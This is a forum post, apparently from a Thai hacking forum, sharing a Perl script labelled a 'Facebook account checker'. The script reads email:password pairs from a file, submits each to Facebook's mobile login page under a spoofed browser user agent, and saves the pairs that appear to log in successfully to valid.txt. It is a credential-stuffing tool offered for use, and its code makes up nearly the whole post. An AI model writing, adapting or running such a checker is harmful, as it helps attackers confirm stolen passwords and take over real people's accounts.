[Perl]Facebook account checker

[Admin]

โค๊ด: [Select]

#!/usr/bin/perl -w
#fro soulx0rg! :D

use strict;
use LWP::UserAgent;
sub loadf($);
my $ua = new LWP::UserAgent(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.5) Gecko/20060719 Firefox/1.5.0.5');
my @accs = loadf("accs.txt");
my ($em, $pw);
foreach my $lines (@accs) {
   $lines =~ s/^\s$//;
   $lines =~ s/\s+$//;
   if ($lines =~ m/(.*?):(.*?)$/g) {
      $em = $1;
      $pw = $2;
   } else {
      print "[x] Skipping line: " . $lines . "\n";
      next;
   }
   my $res = $ua->post('https://m.facebook.com/login.php',
   {
      'email'   =>   $em,
      'pass'   =>   $pw,
      'login'   =>   'Log+In'
   });
   if ($res->content =~ m/Incorrect email/) {
      print "[x] Account invalid: " . $em . "\n";
      next;
   } else {
      print "[+] FOUND: " . $lines . "\n";
      open(SV, '>>', 'valid.txt');
      print SV $lines . "\n";
      close(SV);
   }
}

sub loadf($) {
   my @file;
   open(FILE, $_[0] . "\n") or die("[+] Couldn't open " . $_[0] . "\n");
   @file = <FILE>;
   close(FILE);
   return @file;
}

Ref: http://forum.k0d.cc/showthread.php?t=6805